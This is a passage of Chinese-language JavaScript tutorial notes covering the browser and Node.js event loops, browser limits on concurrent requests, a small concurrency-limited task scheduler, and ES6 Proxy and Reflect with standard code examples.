2. 执行过程中遇到微任务，就加入**微任务队列**；遇到宏任务，加入**宏任务队列**。
3. 当第一个宏任务执行完，**清空所有微任务队列**（按加入顺序执行）。
4. 微任务清空后，触发**页面渲染**（这一步是浏览器做的）。
5. 从宏任务队列中取**下一个宏任务**执行，重复步骤 2-4，形成循环。

**案例理解**

```js
console.log('1'); // 宏任务（script）内的同步代码，先执行
setTimeout(() => console.log('2'), 0); // 宏任务，加入宏任务队列
Promise.resolve().then(() => console.log('3')); // 微任务，加入微任务队列
console.log('4'); // 同步代码，继续执行

// 执行结果：1 → 4 → 3 → 2
// 原因：script（宏任务）执行完 → 清空微任务（3） → 渲染 → 执行下一个宏任务（2）
```

**常见宏任务有**：

* `script`（整体代码）
* `setTimeout`
* `setInterval`
* `setImmediate`（Node.js）
* `I/O 操作`
* `UI rendering`

**微任务（Micro Task）**：

* `Promise.then / catch / finally`
* `queueMicrotask`
* `MutationObserver`

**渲染时机不是每次循环都一定触发：**

浏览器通常在每一轮 **微任务清空之后、下一轮宏任务前** 进行 **一次渲染检查**，但如果当前帧还没到（比如 16ms 内的多次循环），可能会合并渲染。

所以“清空微任务后触发渲染”是常见的现象，但不是绝对的。

***

浏览器的事件循环机制中，有两个关键点：

* **宏任务队列（MacroTask Queue）**
* **微任务队列（MicroTask Queue）**

每个宏任务执行时，**可能注册（安排）未来的宏任务**，但 **不会立即执行它们**。它们会被放入「等待执行的宏任务队列」。

::: details 小🌰子

```js
console.log('A')

setTimeout(() => {
  console.log('B')
}, 0)

setTimeout(() => {
  console.log('C')
}, 0)

console.log('D')
```

**执行过程**：

1. 整个 `script` 是第一个 **宏任务**，开始执行。
2. 执行 `console.log('A')` → 输出 `A`
3. 遇到第一个 `setTimeout` → **注册一个宏任务**（定时器事件），放入宏任务队列。
4. 遇到第二个 `setTimeout` → **又注册一个宏任务**，排在第一个后面。
5. 执行 `console.log('D')` → 输出 `D`
6. 当前宏任务（`script`）执行完毕。
7. 清空微任务队列（这里没有微任务）。
8. **事件循环取出下一个宏任务**（第一个 `setTimeout` 回调）执行 → 输出 `B`
9. 清空微任务。
10. 再取下一个宏任务（第二个 `setTimeout` 回调）执行 → 输出 `C`

**输出结果**：ADBC

:::

> \[!IMPORTANT]
>
> “在执行当前宏任务时，如果遇到新的宏任务（如 setTimeout），
> 这些任务不会立刻执行，而是**注册到宏任务队列中**，等待下一轮循环时再依次执行。”

> \[!IMPORTANT]
>
> 浏览器中的 Event Loop 会先执行一个宏任务（通常是整个 script）。
> 在执行过程中，异步任务会被分别加入宏任务队列和微任务队列。
> 当前宏任务执行完后，会立即清空所有微任务。
> 微任务清空后，浏览器会进行一次可能的页面渲染，然后开始下一轮宏任务。
> 如此循环往复，构成浏览器的事件循环。

::: info

**并发请求 ≠ 无限**

浏览器是有限制的，它**会主动限制同一域名（host）下的并发连接数**。

这个限制不是由电脑性能决定的，而是由 **浏览器自身的实现和协议规范** 决定的。

**HTTP/1.1 时代**

同一域名（Host）默认最大连接数：一般是 **6 个连接（Chrome / Firefox / Edge / Safari 等）**

所以，如果你同时发起 100 个请求到同一个域名：

* 浏览器会**先发出 6 个**
* 其他的会**进入等待队列**
* 当某个连接完成后，再从队列中取下一个继续发

同域名 `api.example.com` 最多 6 个并行请求，但跨域的不同域名（例如 `img.example.com`、`cdn.example.com`）可以分别再有各自的 6 个连接。

**HTTP/2 时代（目前主流）**

HTTP/2 支持 **多路复用（Multiplexing）**，即：

一个 TCP 连接上可以同时承载多个请求（理论上成百上千个）。

但，浏览器依然有**上限**，通常是：

* 每个域名一个 TCP 连接；
* 每个连接内最多 **100~1000 个并发请求流（stream）**；
* 实际上限取决于服务器的 **`SETTINGS_MAX_CONCURRENT_STREAMS`** 设置。

举例：Chrome 通常支持每个连接约 100 个并发 stream；如果服务器设置为 50，那么最多只能并发 50 个请求。

**HTTP/3（QUIC）**

HTTP/3 基于 UDP，同样具备多路复用特性，但底层协议不同（QUIC），并发能力更强、连接建立更快。

但依然受限于浏览器与服务器的流控（flow control）和 congestion window（拥塞窗口）。

**电脑性能**有影响，但**不是决定性**。

浏览器会根据以下因素调整调度策略：

* CPU 性能、线程池大小；
* 系统的文件描述符数量（同时打开的 socket 数量）；
* 内存；
* 网络带宽和延迟；
* 操作系统 TCP 连接上限（如 Linux 的 `ulimit -n`）。

但这些影响的是“整体吞吐量”或“响应速度”，而不是浏览器的“并发上限策略”。

后者是浏览器写死的逻辑。

:::

## 简易调度器

调度器的核心需求是 **管理任务、控制执行方式（串行 / 并发）**

::: details 代码

```js
class Scheduler {
    // option: 'serial' | 'concurrent' | number
    // 'serial' => 串行（并发数 = 1）
    // 'concurrent' => 无限制并发
    // number => 指定并发数（至少 1）
    constructor(option = 'serial') {
        this.taskQueue = [];
        this.runningCount = 0;
        if (option === 'serial') {
            this.concurrency = 1;
        } else if (option === 'concurrent') {
            this.concurrency = Infinity;
        } else if (typeof option === 'number') {
            this.concurrency = Math.max(1, Math.floor(option));
        } else {
            this.concurrency = 1;
        }
    }

    addTask(task) {
        this.taskQueue.push(task);
        this.runTasks();
    }

    runTasks() {
        // 启动尽可能多的任务，直到达到并发上限或者队列空
        while (this.runningCount < this.concurrency && this.taskQueue.length > 0) {
            const task = this.taskQueue.shift();
            this.runningCount++;

            // 使用微任务把执行从当前栈抽离，行为更可预测
            queueMicrotask(() => {
                try {
                    const result = task();
                    // 支持异步任务（返回 Promise）
                    if (result && typeof result.then === 'function') {
                        result.finally(() => {
                            this.runningCount--;
                            this.runTasks();
                        });
                    } else {
                        // 同步任务
                        this.runningCount--;
                        this.runTasks();
                    }
                } catch (err) {
                    // 任务抛错也要释放并发槽位
                    this.runningCount--;
                    this.runTasks();
                }
            });
        }
    }
}

// 用法示例：
// 串行（等同于原来行为）
const serialScheduler = new Scheduler('serial');
serialScheduler.addTask(() => console.log('s1'));
serialScheduler.addTask(() => console.log('s2'));
serialScheduler.addTask(() => console.log('s3'));

// 指定并发数（例如并发 2）
const concurrent2 = new Scheduler(2);
concurrent2.addTask(() => new Promise(res => setTimeout(() => { console.log('c1'); res(); }, 100)));
concurrent2.addTask(() => new Promise(res => setTimeout(() => { console.log('c2'); res(); }, 50)));
concurrent2.addTask(() => new Promise(res => setTimeout(() => { console.log('c3'); res(); }, 10)));

// 完全并发（不限制）
const fullConcurrent = new Scheduler('concurrent');
fullConcurrent.addTask(() => console.log('fc1'));
fullConcurrent.addTask(() => console.log('fc2'));
```

:::

任务调度器相关的库：

[p-limit](https://github.com/sindresorhus/p-limit)（前端 / Node 通用，轻量并发控制）

* **核心作用**：限制异步任务的并发数量（比如控制同时发起的请求数不超过 5 个），避免浏览器 / 服务器资源过载。
* **典型场景**：批量请求接口（如批量上传文件、批量获取数据）、循环执行异步函数时控制并发量。
* **特点**：体积极小（仅 1KB）、API 极简，支持 Promise，是前端并发控制的 “首选工具”。

[BullMQ](https://github.com/taskforcesh/bullmq)（Node 端，重量级队列调度）

* **核心作用**：基于 Redis 实现的 “分布式任务队列”，支持任务的**持久化、重试、优先级、延迟执行**，适合后端复杂业务调度。
* **典型场景**：后端定时任务（如每天凌晨同步数据）、耗时任务异步处理（如生成大文件、发送批量邮件）、分布式系统间的任务通信。
* **特点**：功能全面（支持任务暂停 / 取消 / 优先级）、支持集群部署，是 Node 后端 “工业级调度库”。

[node-schedule](https://github.com/node-schedule/node-schedule)（Node 端，轻量定时调度）

* **核心作用**：Node 环境下的 “定时任务库”，支持按 **CRON 表达式** 或 “具体时间” 调度任务，类似 Linux 的 `crontab`。
* **典型场景**：后端定时任务（如每小时清理日志、每天 8 点推送消息）、周期性执行代码逻辑。
* **特点**：无需依赖 Redis，轻量易上手，CRON 表达式支持灵活（如 `'0 8 * * *'` 表示每天 8 点执行）。

## node Event loop（事件循环）

Node.js 的 Event Loop **浏览器不同**，因为它不仅处理 JS 的任务队列，还要管理 **I/O、定时器、文件系统、网络、libuv 线程池等底层事件源**。

Node.js 的 Event Loop 是基于 **libuv** 实现的，它是一个跨平台的异步 I/O 库。

libuv 管理了：

* 网络 I/O（TCP/UDP）
* 文件系统 I/O
* 定时器
* 线程池任务（如 `fs.readFile`）
* 以及内部回调的调度逻辑

所以 Node 的 Event Loop 比浏览器多几个阶段（phases），是**分阶段调度的多队列循环系统**。

### 六个阶段（核心）

每一轮循环都有以下几个阶段：

| 阶段 | 名称                  | 说明                                                     |
| ---- | --------------------- | -------------------------------------------------------- |
| 1️⃣    | **timers**            | 执行到期的 `setTimeout` 和 `setInterval` 回调            |
| 2️⃣    | **pending callbacks** | 执行一些系统级的 I/O 回调（比如 TCP 错误、DNS 失败等）   |
| 3️⃣    | **idle, prepare**     | Node 内部使用（你基本不会接触）                          |
| 4️⃣    | **poll**              | 等待新的 I/O 事件（文件、socket 等），执行几乎所有的回调 |
| 5️⃣    | **check**             | 执行 `setImmediate` 的回调                               |
| 6️⃣    | **close callbacks**   | 执行如 `socket.on('close')` 这种关闭回调                 |

每一轮执行顺序如下：

```js
timers → pending callbacks → idle/prepare → poll → check → close callbacks
```

在 **每个阶段之间**，Node 都会：

清空微任务队列（process.nextTick + Promise 等）。

### 微任务和宏任务

**浏览器**

* 宏任务：`setTimeout`、`setInterval`、`fetch` 回调、`script`
* 微任务：`Promise.then`、`queueMicrotask`

**Node.js**

* 宏任务：上面六个阶段的任务
* 微任务：
  * `process.nextTick`（**优先级最高**）
  * `Promise.then` / `queueMicrotask`

执行优先级是：

每个阶段的末尾：

* 先清空 process.nextTick 队列
* 再清空 Promise 微任务队列

### 例子

```js
setTimeout(() => console.log('timeout'), 0)

setImmediate(() => console.log('immediate'))

Promise.resolve().then(() => console.log('promise'))

process.nextTick(() => console.log('nextTick'))
```

结果：

```bash
nextTick
promise
timeout | immediate  （顺序不确定）
```

解释：

1. 整个 script 是第一个宏任务；
2. `nextTick` 最先执行（每个阶段前都会清空）；
3. `Promise` 微任务其次；
4. 然后进入下一轮：
   * 如果当前没有其他 I/O 阻塞，`setTimeout` 和 `setImmediate` 执行顺序可能不同：
     * 在主模块中：`setTimeout` 通常先于 `setImmediate`
     * 在 I/O 回调中：`setImmediate` 先于 `setTimeout`

### `poll` 阶段的关键意义

`poll` 是 Node 的“心脏”：

* 如果有 I/O 事件待处理 → 执行对应回调；
* 如果没有待处理事件：
  * 若有 `setImmediate` → 直接跳转到 **check 阶段**；
  * 若没有 → 阻塞等待新事件或定时器到期。

所以：Node 的“空转行为”主要发生在 poll 阶段，这决定了你的异步事件何时被触发。

### 总结图（简化版）

```bash
┌──────────────────────────────┐
│ timers (setTimeout, setInterval) │
└─────────────┬────────────────┘
              ↓
┌──────────────────────────────┐
│ pending callbacks             │
└─────────────┬────────────────┘
              ↓
┌──────────────────────────────┐
│ poll (I/O callbacks)          │
│   ├─ 处理I/O事件              │
│   └─ 如果无事件等待新任务     │
└─────────────┬────────────────┘
              ↓
┌──────────────────────────────┐
│ check (setImmediate)          │
└─────────────┬────────────────┘
              ↓
┌──────────────────────────────┐
│ close callbacks (socket close)│
└──────────────────────────────┘

每个阶段之间都会清空：
   process.nextTick → Promise.then 微任务
```

### 总结

**避免异步陷阱：**

* 比如 `nextTick` 写太多会饿死 Event Loop；
* `setImmediate` 和 `setTimeout` 的顺序不同会导致意外行为。

**理解高性能服务器的 I/O 调度：**

* Node 的高并发来自于非阻塞 I/O 和事件循环机制；
* 理解 poll 阶段有助于优化请求处理模型。

**调试异步问题时心中有数：**

* 比如为什么某个回调“晚了一拍”，你就能立刻想到哪个阶段还没执行到。

## Node.js 的底层 API 分类梳理

其实 Node 的“复杂”只是因为它负责太多事，但我们可以把它分层看：

| 层级                     | 作用                          | 常见 API                                                    |
| ------------------------ | ----------------------------- | ----------------------------------------------------------- |
| **应用层**               | 写业务逻辑、HTTP、Nest 框架等 | `http`, `express`, `nestjs`, `fs/promises`                  |
| **异步调度层**           | 控制任务何时执行              | `setTimeout`, `setImmediate`, `process.nextTick`, `Promise` |
| **系统 I/O 层（libuv）** | 操作系统层面异步 I/O          | 文件 I/O、网络、DNS、线程池任务                             |
| **事件驱动层**           | 回调触发机制                  | `EventEmitter`, `on`, `emit`                                |

实际开发中你主要用**应用层和异步层**；

只有当你写底层库、调试框架、做性能优化时，才会深入到 libuv 那层。

---

---
url: /js/rzlbuxdz/index.md
---
# Proxy
`Proxy`用于修改某些操作的默认行为，等同于在语言层面做出修改，所以属于一种“元编程”（meta programming），即对编程语言进行编程。

Proxy 可以理解成，在目标对象之前架设一层“拦截”，外界对该对象的访问，都必须先通过这层拦截，因此提供了一种机制，可以对外界的访问进行过滤和改写。

Proxy 这个词的原意是代理，用在这里表示由它来“代理”某些操作，可以译为“代理器”。

```js
var obj = new Proxy({}, {
  get: function (target, propKey, receiver) {
    console.log(`getting ${propKey}!`);
    return Reflect.get(target, propKey, receiver);
  },
  set: function (target, propKey, value, receiver) {
    console.log(`setting ${propKey}!`);
    return Reflect.set(target, propKey, value, receiver);
  }
});
// -------------------------------------------------------------------------
obj.count = 1
//  setting count!
++obj.count
//  getting count!
//  setting count!
//  2
```

上面代码对一个空对象架设了一层拦截，重定义了属性的读取（`get`）和设置（`set`）行为。

Proxy 实际上重载（overload）了点运算符，即用自己的定义覆盖了语言的原始定义。

ES6 原生提供 Proxy 构造函数，用来生成 Proxy 实例。

```js
var proxy = new Proxy(target, handler);
```

Proxy 对象的所有用法，都是上面这种形式，不同的只是`handler`参数的写法。其中，`new Proxy()`表示生成一个`Proxy`实例，`target`参数表示所要拦截的目标对象，`handler`参数也是一个对象，用来定制拦截行为。

```js
var proxy = new Proxy({}, {
  get: function(target, propKey) {
    return 35;
  }
});

proxy.time // 35
proxy.name // 35
proxy.title // 35
```

`Proxy`接受两个参数。第一个参数是所要代理的目标对象（上例是一个空对象），即如果没有`Proxy`的介入，操作原来要访问的就是这个对象；第二个参数是一个配置对象，对于每一个被代理的操作，需要提供一个对应的处理函数，该函数将拦截对应的操作。

比如，上面代码中，配置对象有一个`get`方法，用来拦截对目标对象属性的访问请求。`get`方法的两个参数分别是目标对象和所要访问的属性。可以看到，由于拦截函数总是返回`35`，所以访问任何属性都得到`35`。

**注意**，要使得`Proxy`起作用，必须针对`Proxy`实例（上例是`proxy`对象）进行操作，而不是针对目标对象（上例是空对象）进行操作。

如果`handler`没有设置任何拦截，那就等同于直接通向原对象。

Proxy 实例也可以作为其他对象的原型对象。

```js
var proxy = new Proxy({}, {
  get: function(target, propKey) {
    return 35;
  }
});

let obj = Object.create(proxy);
obj.time // 35
```

上面代码中，`proxy`对象是`obj`对象的原型，`obj`对象本身并没有`time`属性，所以根据原型链，会在`proxy`对象上读取该属性，导致被拦截。

同一个拦截器函数，可以设置拦截多个操作。

```js
var handler = {
  get: function(target, name) {
    if (name === 'prototype') {
      return Object.prototype;
    }
    return 'Hello, ' + name;
  },

  apply: function(target, thisBinding, args) {
    return args[0];
  },

  construct: function(target, args) {
    return {value: args[1]};
  }
};

var fproxy = new Proxy(function(x, y) {
  return x + y;
}, handler);

fproxy(1, 2) // 1
new fproxy(1, 2) // {value: 2}
fproxy.prototype === Object.prototype // true
fproxy.foo === "Hello, foo" // true
```

对于可以设置、但没有设置拦截的操作，则直接落在目标对象上，按照原先的方式产生结果。

下面是 Proxy 支持的拦截操作一览，一共 13 种。

* **get(target, propKey, receiver)**：拦截对象属性的读取，比如`proxy.foo`和`proxy['foo']`。
* **set(target, propKey, value, receiver)**：拦截对象属性的设置，比如`proxy.foo = v`或`proxy['foo'] = v`，返回一个布尔值。
* **has(target, propKey)**：拦截`propKey in proxy`的操作，返回一个布尔值。
* **deleteProperty(target, propKey)**：拦截`delete proxy[propKey]`的操作，返回一个布尔值。
* **ownKeys(target)**：拦截`Object.getOwnPropertyNames(proxy)`、`Object.getOwnPropertySymbols(proxy)`、`Object.keys(proxy)`、`for...in`循环，返回一个数组。该方法返回目标对象所有自身的属性的属性名，而`Object.keys()`的返回结果仅包括目标对象自身的可遍历属性。
* **getOwnPropertyDescriptor(target, propKey)**：拦截`Object.getOwnPropertyDescriptor(proxy, propKey)`，返回属性的描述对象。
* **defineProperty(target, propKey, propDesc)**：拦截`Object.defineProperty(proxy, propKey, propDesc）`、`Object.defineProperties(proxy, propDescs)`，返回一个布尔值。
* **preventExtensions(target)**：拦截`Object.preventExtensions(proxy)`，返回一个布尔值。
* **getPrototypeOf(target)**：拦截`Object.getPrototypeOf(proxy)`，返回一个对象。
* **isExtensible(target)**：拦截`Object.isExtensible(proxy)`，返回一个布尔值。
* **setPrototypeOf(target, proto)**：拦截`Object.setPrototypeOf(proxy, proto)`，返回一个布尔值。如果目标对象是函数，那么还有两种额外操作可以拦截。
* **apply(target, object, args)**：拦截 Proxy 实例作为函数调用的操作，比如`proxy(...args)`、`proxy.call(object, ...args)`、`proxy.apply(...)`。
* **construct(target, args)**：拦截 Proxy 实例作为构造函数调用的操作，比如`new proxy(...args)`。

## 拦截操作

| 拦截方法                   | 参数                               | 返回值类型           | 示例操作                                          | 描述                                                         |
| -------------------------- | ---------------------------------- | -------------------- | ------------------------------------------------- | ------------------------------------------------------------ |
| `get`                      | `target, propKey, receiver`        | 任意类型             | `proxy.foo` / `proxy['foo']`                      | 拦截读取属性值，可自定义返回值（如返回计算属性）             |
| `set`                      | `target, propKey, value, receiver` | `boolean`            | `proxy.foo = v` / `proxy['foo'] = v`              | 拦截设置属性值，可验证或修改赋值逻辑，返回`true`表示成功     |
| `has`                      | `target, propKey`                  | `boolean`            | `propKey in proxy`                                | 拦截`in`操作，控制属性存在性判断                             |
| `deleteProperty`           | `target, propKey`                  | `boolean`            | `delete proxy[propKey]`                           | 拦截删除属性操作，可阻止或自定义删除逻辑                     |
| `ownKeys`                  | `target`                           | `Array`              | `Object.keys(proxy)` / `for...in`循环             | 拦截枚举自身属性，控制`for...in`、`Object.keys`等行为        |
| `getOwnPropertyDescriptor` | `target, propKey`                  | `PropertyDescriptor` | `Object.getOwnPropertyDescriptor(proxy, propKey)` | 拦截获取属性描述符，可自定义属性特性（如可写、可枚举）       |
| `defineProperty`           | `target, propKey, propDesc`        | `boolean`            | `Object.defineProperty(proxy, propKey, propDesc)` | 拦截定义新属性或修改现有属性，可验证或限制属性定义           |
| `preventExtensions`        | `target`                           | `boolean`            | `Object.preventExtensions(proxy)`                 | 拦截防止对象扩展，控制是否允许添加新属性                     |
| `getPrototypeOf`           | `target`                           | `Object`             | `Object.getPrototypeOf(proxy)`                    | 拦截获取对象原型，可自定义原型链                             |
| `isExtensible`             | `target`                           | `boolean`            | `Object.isExtensible(proxy)`                      | 拦截判断对象是否可扩展，可动态调整返回值                     |
| `setPrototypeOf`           | `target, proto`                    | `boolean`            | `Object.setPrototypeOf(proxy, proto)`             | 拦截设置对象原型，可阻止或自定义原型修改                     |
| `apply`                    | `target, thisArg, args`            | 任意类型             | `proxy(args)` / `proxy.call(thisArg, args)`       | **仅函数代理**：拦截函数调用，可替换调用逻辑或修改参数       |
| `construct`                | `target, args`                     | 任意类型             | `new proxy(args)`                                 | **仅函数代理**：拦截构造函数调用，可自定义实例化逻辑或修改参数 |

**说明**：

1. **函数特有拦截**：`apply`和`construct`仅在目标对象是函数时生效。
2. **参数细节**：
   * `receiver`：表示代理对象本身（通常与`target`一致，但支持绑定不同对象）。
   * `thisArg`：函数调用时的`this`指向。
   * `args`：函数调用参数数组。
3. **特殊行为**：
   * `ownKeys`需返回目标对象所有自身属性（包括不可枚举属性），而`Object.keys`仅返回可枚举属性。
   * 多数拦截方法返回`boolean`表示操作是否成功，但`get`和构造相关方法可返回任意值。

## 实例方法

### get()

`get`方法用于拦截某个属性的读取操作，可以接受三个参数，依次为目标对象、属性名和 proxy 实例本身（严格地说，是操作行为所针对的对象），其中最后一个参数可选。

```js
var person = {
  name: "张三"
};

var proxy = new Proxy(person, {
  get: function(target, propKey) {
    if (propKey in target) {
      return target[propKey];
    } else {
      throw new ReferenceError("Prop name \"" + propKey + "\" does not exist.");
    }
  }
});

proxy.name // "张三"
proxy.age // 抛出一个错误
```

上面代码表示，如果访问目标对象不存在的属性，会抛出一个错误。如果没有这个拦截函数，访问不存在的属性，只会返回`undefined`。

```js
let proto = new Proxy({}, {
  get(target, propertyKey, receiver) {
    console.log('GET ' + propertyKey);
    return target[propertyKey];
  }
});

let obj = Object.create(proto);
obj.foo // "GET foo"
```

**实现一个生成各种 DOM 节点的通用函数`dom`**

```js
const dom = new Proxy({}, {
  get(target, property) {
    return function(attrs = {}, ...children) {
      const el = document.createElement(property);
      for (let prop of Object.keys(attrs)) {
        el.setAttribute(prop, attrs[prop]);
      }
      for (let child of children) {
        if (typeof child === 'string') {
          child = document.createTextNode(child);
        }
        el.appendChild(child);
      }
      return el;
    }
  }
});

const el = dom.div({},
  'Hello, my name is ',
  dom.a({href: '//example.com'}, 'Mark'),
  '. I like:',
  dom.ul({},
    dom.li({}, 'The web'),
    dom.li({}, 'Food'),
    dom.li({}, '…actually that\'s it')
  )
);

document.body.appendChild(el);
```

如果一个属性不可配置（configurable）且不可写（writable），则 Proxy 不能修改该属性，否则通过 Proxy 对象访问该属性会报错。

### set()

`set`方法用来拦截某个属性的赋值操作，可以接受四个参数，依次为目标对象、属性名、属性值和 Proxy 实例本身，其中最后一个参数可选。

假定`Person`对象有一个`age`属性，该属性应该是一个不大于 200 的整数，那么可以使用`Proxy`保证`age`的属性值符合要求。

```js
let validator = {
  set: function(obj, prop, value) {
    if (prop === 'age') {
      if (!Number.isInteger(value)) {
        throw new TypeError('The age is not an integer');
      }
      if (value > 200) {
        throw new RangeError('The age seems invalid');
      }
    }

    // 对于满足条件的 age 属性以及其他属性，直接保存
    obj[prop] = value;
    return true;
  }
};

let person = new Proxy({}, validator);

person.age = 100;

person.age // 100
person.age = 'young' // 报错
person.age = 300 // 报错
```

上面代码中，由于设置了存值函数`set`，任何不符合要求的`age`属性赋值，都会抛出一个错误，这是数据验证的一种实现方法。利用`set`方法，还可以数据绑定，即每当对象发生变化时，会自动更新 DOM。

有时，我们会在对象上面设置内部属性，**属性名的第一个字符使用下划线开头，表示这些属性不应该被外部使用**。结合`get`和`set`方法，就可以做到防止这些内部属性被外部读写。

```js
const handler = {
  get (target, key) {
    invariant(key, 'get');
    return target[key];
  },
  set (target, key, value) {
    invariant(key, 'set');
    target[key] = value;
    return true;
  }
};
function invariant (key, action) {
  if (key[0] === '_') {
    throw new Error(`Invalid attempt to ${action} private "${key}" property`);
  }
}
const target = {};
const proxy = new Proxy(target, handler);
proxy._prop
// Error: Invalid attempt to get private "_prop" property
proxy._prop = 'c'
// Error: Invalid attempt to set private "_prop" property
```

上面代码中，只要读写的属性名的第一个字符是下划线，一律抛错，从而达到禁止读写内部属性的目的。

**注意**，如果目标对象自身的某个属性不可写，那么`set`方法将不起作用。

**注意**，`set`代理应当返回一个布尔值。严格模式下，`set`代理如果没有返回`true`，就会报错，严格模式下，`set`代理返回`false`或者`undefined`，都会报错。

### apply()

`apply`方法拦截函数的调用、`call`和`apply`操作。

`apply`方法可以接受三个参数，分别是目标对象、目标对象的上下文对象（`this`）和目标对象的参数数组。

```js
var handler = {
  apply (target, ctx, args) {
    return Reflect.apply(...arguments);
  }
};
```

```js
var target = function () { return 'I am the target'; };
var handler = {
  apply: function () {
    return 'I am the proxy';
  }
};

var p = new Proxy(target, handler);

p()
// "I am the proxy"
```

### has()

`has()`方法用来拦截`HasProperty`操作，即判断对象是否具有某个属性时，这个方法会生效。典型的操作就是`in`运算符。

`has()`方法可以接受两个参数，分别是目标对象、需查询的属性名。

下面的例子使用`has()`方法隐藏某些属性，不被`in`运算符发现。

```js
var handler = {
  has (target, key) {
    if (key[0] === '_') {
      return false;
    }
    return key in target;
  }
};
var target = { _prop: 'foo', prop: 'foo' };
var proxy = new Proxy(target, handler);
'_prop' in proxy // false
```

如果原对象不可配置或者禁止扩展，这时`has()`拦截会报错。

`has()`方法拦截的是`HasProperty`操作，而不是`HasOwnProperty`操作，即`has()`方法不判断一个属性是对象自身的属性，还是继承的属性。

另外，虽然`for...in`循环也用到了`in`运算符，但是`has()`拦截对`for...in`循环**不生效**。

### construct()

`construct()`方法用于拦截`new`命令，下面是拦截对象的写法。

`construct()`方法可以接受三个参数。

* `target`：目标对象。
* `args`：构造函数的参数数组。
* `newTarget`：创造实例对象时，`new`命令作用的构造函数（下面例子的`p`）。

```js
const p = new Proxy(function () {}, {
  construct: function(target, args) {
    console.log('called: ' + args.join(', '));
    return { value: args[0] * 10 };
  }
});

(new p(1)).value
// "called: 1"
// 10
```

`construct()`方法返回的必须是一个对象，否则会报错，另外，由于`construct()`拦截的是构造函数，所以它的目标对象必须是函数，否则就会报错。

### deleteProperty()

`deleteProperty`方法用于拦截`delete`操作，如果这个方法抛出错误或者返回`false`，当前属性就无法被`delete`命令删除。

```js
var handler = {
  deleteProperty (target, key) {
    invariant(key, 'delete');
    delete target[key];
    return true;
  }
};
function invariant (key, action) {
  if (key[0] === '_') {
    throw new Error(`Invalid attempt to ${action} private "${key}" property`);
  }
}

var target = { _prop: 'foo' };
var proxy = new Proxy(target, handler);
delete proxy._prop
// Error: Invalid attempt to delete private "_prop" property
```

上面代码中，`deleteProperty`方法拦截了`delete`操作符，删除第一个字符为下划线的属性会报错。

注意，目标对象自身的不可配置（configurable）的属性，不能被`deleteProperty`方法删除，否则报错。

### defineProperty()

`defineProperty()`方法拦截了`Object.defineProperty()`操作。

```js
var handler = {
  defineProperty (target, key, descriptor) {
    return false;
  }
};
var target = {};
var proxy = new Proxy(target, handler);
proxy.foo = 'bar' // 不会生效
```

上面代码中，`defineProperty()`方法内部没有任何操作，只返回`false`，导致添加新属性总是无效。注意，这里的`false`只是用来提示操作失败，本身并不能阻止添加新属性。

注意，如果目标对象不可扩展（non-extensible），则`defineProperty()`不能增加目标对象上不存在的属性，否则会报错。

另外，如果目标对象的某个属性不可写（writable）或不可配置（configurable），则`defineProperty()`方法不得改变这两个设置。

### getOwnPropertyDescriptor()

`getOwnPropertyDescriptor()`方法拦截`Object.getOwnPropertyDescriptor()`，返回一个属性描述对象或者`undefined`。

### getPrototypeOf()

`getPrototypeOf()`方法主要用来拦截获取对象原型。具体来说，拦截下面这些操作。

* `Object.prototype.__proto__`
* `Object.prototype.isPrototypeOf()`
* `Object.getPrototypeOf()`
* `Reflect.getPrototypeOf()`
* `instanceof`

注意，`getPrototypeOf()`方法的返回值必须是对象或者`null`，否则报错。另外，如果目标对象不可扩展（non-extensible）， `getPrototypeOf()`方法必须返回目标对象的原型对象。

### isExtensible()

`isExtensible()`方法拦截`Object.isExtensible()`操作。

### ownKeys()

`ownKeys()`方法用来拦截对象自身属性的读取操作。具体来说，拦截以下操作。

* `Object.getOwnPropertyNames()`
* `Object.getOwnPropertySymbols()`
* `Object.keys()`
* `for...in`循环

### preventExtensions()

`preventExtensions()`方法拦截`Object.preventExtensions()`。该方法必须返回一个布尔值，否则会被自动转为布尔值。

### setPrototypeOf()

`setPrototypeOf()`方法主要用来拦截`Object.setPrototypeOf()`方法。

## Proxy.revocable()

`Proxy.revocable()`方法返回一个可取消的 Proxy 实例。

```js
let target = {};
let handler = {};

let {proxy, revoke} = Proxy.revocable(target, handler);

proxy.foo = 123;
proxy.foo // 123

revoke();
proxy.foo // TypeError: Revoked
```

`Proxy.revocable()`方法返回一个对象，该对象的`proxy`属性是`Proxy`实例，`revoke`属性是一个函数，可以取消`Proxy`实例。

`Proxy.revocable()`的一个使用场景是，目标对象不允许直接访问，必须通过代理访问，一旦访问结束，就收回代理权，不允许再次访问。

## this 问题

在 Proxy 代理的情况下，目标对象内部的`this`关键字会指向 Proxy 代理。

```js
const target = {
  m: function () {
    console.log(this === proxy);
  }
};
const handler = {};

const proxy = new Proxy(target, handler);

target.m() // false
proxy.m()  // true
```

## Reflect

`Reflect`对象的设计目的有这样几个：

将`Object`对象的一些明显属于语言内部的方法（比如`Object.defineProperty`），放到`Reflect`对象上。

现阶段，某些方法同时在`Object`和`Reflect`对象上部署，未来的新方法将只部署在`Reflect`对象上。也就是说，从`Reflect`对象上可以拿到语言内部的方法。

修改某些`Object`方法的返回结果，让其变得更合理。比如，`Object.defineProperty(obj, name, desc)`在无法定义属性时，会抛出一个错误，而`Reflect.defineProperty(obj, name, desc)`则会返回`false`。

```js
// 老写法
try {
  Object.defineProperty(target, property, attributes);
  // success
} catch (e) {
  // failure
}

// 新写法
if (Reflect.defineProperty(target, property, attributes)) {
  // success
} else {
  // failure
}
```

让`Object`操作都变成函数行为。某些`Object`操作是命令式，比如`name in obj`和`delete obj[name]`，而`Reflect.has(obj, name)`和`Reflect.deleteProperty(obj, name)`让它们变成了函数行为。

```js
// 老写法
'assign' in Object // true

// 新写法
Reflect.has(Object, 'assign') // true
```

`Reflect`对象的方法与`Proxy`对象的方法一一对应，只要是`Proxy`对象的方法，就能在`Reflect`对象上找到对应的方法。这就让`Proxy`对象可以方便地调用对应的`Reflect`方法，完成默认行为，作为修改行为的基础。也就是说，不管`Proxy`怎么修改默认行为，你总可以在`Reflect`上获取默认行为。

```js
Proxy(target, {
  set: function(target, name, value, receiver) {
    var success = Reflect.set(target, name, value, receiver);
    if (success) {
      console.log('property ' + name + ' on ' + target + ' set to ' + value);
    }
    return success;
  }
});
```

上面代码中，`Proxy`方法拦截`target`对象的属性赋值行为。它采用`Reflect.set`方法将值赋值给对象的属性，**确保完成原有的行为，然后再部署额外的功能**。

有了`Reflect`对象以后，很多操作会更易读。

```js
// 老写法
Function.prototype.apply.call(Math.floor, undefined, [1.75]) // 1

// 新写法
Reflect.apply(Math.floor, undefined, [1.75]) // 1
```

---

---
url: /js/t65k3j5d/index.md
---
* **最小单位**：位（bit，缩写为 b）
